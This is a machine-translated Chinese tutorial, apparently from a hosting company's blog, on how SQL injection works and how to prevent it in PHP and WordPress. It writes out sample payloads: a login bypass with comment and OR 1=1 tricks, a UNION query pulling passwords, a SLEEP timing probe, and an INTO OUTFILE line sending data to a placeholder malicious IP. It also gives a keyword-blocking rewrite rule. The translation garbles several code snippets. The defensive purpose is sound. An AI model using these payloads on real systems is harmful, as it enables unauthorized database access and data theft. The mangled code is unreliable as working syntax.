SQL(结构化查询语言)是一种允许我们与数据库进行交互的语言。现代的Web应用程序使用数据库来管理数据并向读者显示动态内容。

SQL注入或SQLi通过对Web应用程序的恶意SQL语句破坏其数据库,从而对其进行攻击。

由于这是一种常见的攻击,因此让我们尝试更多地了解它是什么,如何发生以及如何防御自己。

只需移至Kinsta,即可将WordPress网站的速度提高200%。
        
          今天免费迁移

准备?让我们潜入吧!

什么是SQL注入?

SQL注入(SQLi)是对Web应用程序的一种攻击,攻击者可使攻击者将恶意SQL语句插入Web应用程序,从而有可能获得对数据库中敏感数据的访问权限或破坏该数据.SQL注入首先由Jeff发现1998年成为Forristal。

自发现以来的二十年来,SQL注入一直是Web开发人员在设计应用程序时的头等大事。

巴克莱卡德(Barclaycard)估计,在2012年,有97%的数据泄露是由SQL注入攻击引发的。即使在今天,SQL注入仍然很普遍,并且Web应用程序中注入攻击的严重性已得到广泛认可。它是OWASP十大最关键的Web应用程序安全风险之一。

SQL注入漏洞如何工作?

SQL注入漏洞使攻击者可以通过使用恶意SQL语句来完全访问应用程序的数据库。

在本节中,我们分享一个易受攻击的应用程序外观的示例。

想象一个典型的Web应用程序的工作流程,该流程涉及通过用户输入的数据库请求。您通过表单(例如登录表单)获取用户输入。然后,使用用户提交的字段来查询数据库以对它们进行身份验证。查询数据库的结构如下:

从user_table选择*
其中username =’sdaityari’
和密码=’mypassword’;

为简单起见,假设您将密码存储为明文形式。但是,最好对密码加盐,然后对它们进行哈希处理。继续,如果您已经从表单接收到用户名和密码,则可以在PHP中定义查询,如下所示:

//连接到SQL数据库
$ db_query =“从user_table中选择*其中
用户名=’“。$ user。”’
AND password =’“。$ password。”’;“;
//执行查询

如果有人在用户名字段中输入值“ admin”; –,则变量$ db_query生成的结果SQL查询将如下所示:

从user_table中选择*,其中
用户名=’admin’;-‘和密码=’mypassword’

该查询的作用是什么?

SQL中的注释以双破折号(–)开头。结果查询仅按用户名过滤,而不考虑密码。如果没有安全措施可以避免这种情况,只需使用此技巧就可以授予您对Web应用程序的管理访问权限。

或者,在此示例中也可以使用布尔攻击来获取访问权限。如果攻击者在密码字段中输入“ password”或1 = 1; –,则结果查询如下:

从user_table中选择*,其中
用户名=’admin’和
密码=’密码’或1 = 1;-‘;

在这种情况下,即使您的密码错误,您也将通过应用程序身份验证。如果您的网页显示了数据库查询的结果,则攻击者可以使用show表命令,命令来显示数据库中的表,然后根据需要有选择地删除表。

关于SQL注入的卡通漫画(图片来源:XKCD)

XKCD最受欢迎的连环漫画《妈妈的漏洞利用》展示了一位母亲与儿子所在学校的对话,询问她是否真的将儿子命名为“罗伯特”);下降表学生; –”。

SQL注入的类型

现在您已经了解了SQL注入漏洞的基本知识,让我们探究各种类型的SQL注入攻击及其背后的原因。

带内SQL注入

带内SQL注入是SQL注入的最简单形式。在此过程中,攻击者可以使用同一渠道将恶意SQL代码插入应用程序中并收集结果。我们将讨论两种形式的带内SQL注入攻击:

基于错误的攻击

攻击者在攻击的初始阶段使用基于错误的SQL注入技术。基于错误的SQL注入的思想是获取有关Web应用程序遵循的数据库结构和表名的更多信息。例如,错误消息可能包含查询中包含的表名和表的列名。然后,可以使用此数据来创建新的攻击。

基于联盟的攻击

在这种方法中,攻击者使用SQL联合联接显示来自其他表的结果。例如,如果攻击者在搜索页面上,他们可能会在另一个表中附加结果。

选择标题,链接来自post_table
编号<10联盟选择用户名,密码来自user_table; -;推理SQL注入(盲SQL注入)

即使攻击者在SQL查询中生成错误,查询的响应也可能不会直接传输到网页。在这种情况下,攻击者需要进一步探测。

通过这种SQL注入形式,攻击者将各种查询发送到数据库,以评估应用程序如何分析这些响应。推论SQL注入有时也称为盲SQL注入。我们将在下面介绍两种推理SQL注入:布尔SQL注入和基于时间的SQL注入。

布尔攻击

如果SQL查询导致错误,但该错误尚未在应用程序内部进行处理,则生成的网页可能会引发错误,加载空白页或部分加载。在布尔型SQL注入中,攻击者通过尝试通过输入尝试两种不同版本的布尔子句来评估用户输入的哪些部分容易受到SQL注入的攻击:

  • “…和1 = 1”
  • “…和1 = 2”

如果应用程序在第一种情况下正常工作,但在第二种情况下显示异常,则表明该应用程序容易受到SQL注入攻击。

基于时间的攻击

基于时间的SQL注入攻击还可以帮助攻击者确定Web应用程序中是否存在漏洞。攻击者利用了应用程序使用的数据库管理系统的预定义基于时间的功能。例如,在MySQL中,函数sleep()指示数据库等待一定秒数。

从评论中选择*
在哪里post_id = 1-SLEEP(15);

如果这样的查询导致延迟,则攻击者将知道它是易受攻击的。

带外SQL注入

如果攻击者无法通过同一渠道收集SQL注入的结果。带外SQL注入技术可以用作推理SQL注入技术的替代方法。

通常,这些技术涉及将数据从数据库发送到攻击者选择的恶意位置。此过程也高度依赖于数据库管理系统的功能。

带外SQL注入攻击使用DBMS的外部文件处理功能。在MySQL中,LOAD_FILE()和INTO OUTFILE函数可用于请求MySQL将数据传输到外部源。攻击者可以使用以下方法使用OUTFILE将查询结果发送到外部源:

从post_table选择*
进入OUTFILE’ MALICIOUS_IP_ADDRESS location’

类似地,LOAD_FILE()函数可用于从服务器读取文件并显示其内容。 LOAD_FILE()和OUTFILE的组合可用于读取服务器上文件的内容,然后将其传输到其他位置。

如何防止SQL注入

到目前为止,我们已经研究了Web应用程序中的漏洞,这些漏洞可能导致SQL注入攻击。攻击者可以使用SQL注入漏洞来读取,修改甚至删除数据库的内容。

另外,它还可以使人们能够读取服务器内任何位置的文件并将内容传输到其他地方。在本节中,我们探索各种技术来保护您的Web应用程序和网站免受SQL注入攻击。

转义用户输入

一般而言,确定用户字符串是否恶意是一项艰巨的任务。因此,解决此问题的最佳方法是在用户输入中转义特殊字符。

此过程使您免受SQL注入攻击。您可以使用mysql_escape_string()函数在使用PHP构建查询之前对字符串进行转义。您也可以使用mysqli_real_escape_string()函数在MySQL中转义字符串。

在将输出显示为HTML时,您还需要转换字符串以确保特殊字符不会干扰HTML标记。您可以使用htmlspecialchars()函数在PHP中转换特殊字符。

使用准备好的语句

或者,您可以使用准备好的语句来避免SQL注入。准备好的语句是SQL查询的模板,您可以在后面的步骤中指定参数以执行该语句。这是PHP和MySQLi中准备好的语句的示例。

$ query = $ mysql_connection-> prepare(“从user_table中选择*,其中username =?和password =?”);
$ query-> execute(array($ username,$ password));

其他卫生检查以防止SQL攻击

减轻此漏洞的下一步是将对数据库的访问限制为仅必要的访问。

例如,使用特定用户将Web应用程序连接到DBMS,该用户只能访问相关数据库。

限制数据库用户对服务器所有其他位置的访问。您可能还希望通过Web服务器阻止URL中的某些SQL关键字。如果您将Apache用作Web服务器,则可以在.htaccess文件中使用以下代码行向潜在的攻击者显示403禁止错误。

在使用此技术之前,您应该小心,因为如果URL包含这些关键字,Apache将向读者显示错误。

RewriteCond%{QUERY_STRING} [^a-z](声明字符集铸造,转换,删除,执行,插入元脚本,选择,截断,更新)[^a-z] [NC]

RewriteRule(。*)- [F]

信息

Kinsta在Nginx Web服务器上运行WordPress,该服务器不支持.htaccess文件。如果您想设置一条规则来阻止URL上的关键字,请联系Kinsta支持团队,他们将为您提供帮助。

作为其他预防技巧,您应该始终使用更新的软件。发行新版本或补丁程序时,发行说明中将详细介绍更新中修复的错误。一旦漏洞的详细信息公开,运行任何软件的旧版本都会有风险。

WordPress中的SQL注入

如果您使用的是最新的WordPress核心文件,则可以避免任何SQL注入漏洞。但是,当您使用第三方主题和插件时,整个应用程序就有风险。

您的WordPress网站只有其最弱的链接才具有强大的功能。在本节中,我们将探讨缓解WordPress中的SQL注入漏洞的关键注意事项以及如何在现有WordPress网站上执行漏洞检查。

WordPress的SQL注入漏洞预防

为了减轻WordPress主题或插件中SQL Injection的漏洞,必须遵循的一条规则是在与数据库进行交互时始终使用现有的WordPress函数。

这些功能在WordPress开发过程中已针对SQL注入漏洞进行了全面测试。例如,如果您想在帖子中添加评论,请使用wp_insert_comment()函数,而不是将数据直接插入到wp_comments表中。

虽然功能是可扩展的,但有时可能需要运行复杂的查询。在这种情况下,请确保使用$ wp_db函数组。在创建查询之前,可以使用$ wpdb-> prepare()来转义用户输入。

此外,这是清理WordPress中数据的功能列表。这些可帮助您转义特定类型的用户输入,例如电子邮件和URL。

保护您的WordPress网站

尽管WordPress本身是安全的,但诸如过时的核心软件和无效的插件之类的问题都可能导致漏洞。尽管没有其他选择可以彻底检查WordPress网站中的SQL注入漏洞,但网站的复杂性可能使此任务变得艰巨。

您可以使用在线扫描工具,例如ThreatPass和WPScan漏洞数据库。您可以审核您的插件以查看其开发是否停止。如果将它们丢弃了一段时间,那么在您的网站上使用它们可能不是一个好主意。

如果仍然需要绝对使用它们,请确保彻底测试其代码和功能的漏洞。除此之外,请确保您遵循以下卫生检查:

  • 更新PHP,WordPress核心和MySQL
  • 更新第三方插件和主题
  • 避免使用root用户连接SQL数据库
  • 将SQL用户的访问权限限制为敏感目录
  • 使用服务器阻止SQL关键字
  • 如果发生不可逆转的损坏,请保留站点外的备份

这是有关WordPress安全性的详细文章以及详尽的检查清单。此外,您不妨投资这些适用于WordPress的顶级安全插件。如果尽最大努力,如果您的WordPress网站遭到黑客入侵,这是您应该采取的措施。

信息

Kinsta在所有计划中为其所有客户提供黑客修复保证。

SQL注入非法吗?

绝对可以!即使存在实际漏洞,攻击者仍试图获取对他们本来无法获得的数据的访问。

想象一下有人将钥匙丢在车里的情况。仅仅因为它被打开并无人看管而驶入它是否构成犯罪? SQLi的行为在不同国家/地区受不同法律的约束。它属于美国的《计算机欺诈和滥用法》(1986年)和英国的《计算机滥用法》(1990年)。

97%的数据违规始于SQL注入。如果您正在运行一个站点,则应该知道什么是SQL注入以及如何防止它们发生。幸运的是,这里有指南! ??

点击鸣叫

摘要

SQL注入漏洞是很久以前发现的。但是,2018年关于被黑客攻击网站的报告表明,SQLi是XSS攻击后最常见的WordPress网站黑客攻击。为了防止它们发生,您应该:

  • 了解SQL Injection漏洞的工作方式
  • 探索攻击者可能使用多种方式使用SQLi来未经授权访问您的Web应用程序
  • 实施保护您的网站免受SQLi攻击的方法,例如转义用户输入和使用准备好的语句
  • 遵循安全检查例程

俗话说:“安全要多,对不起!”

0分享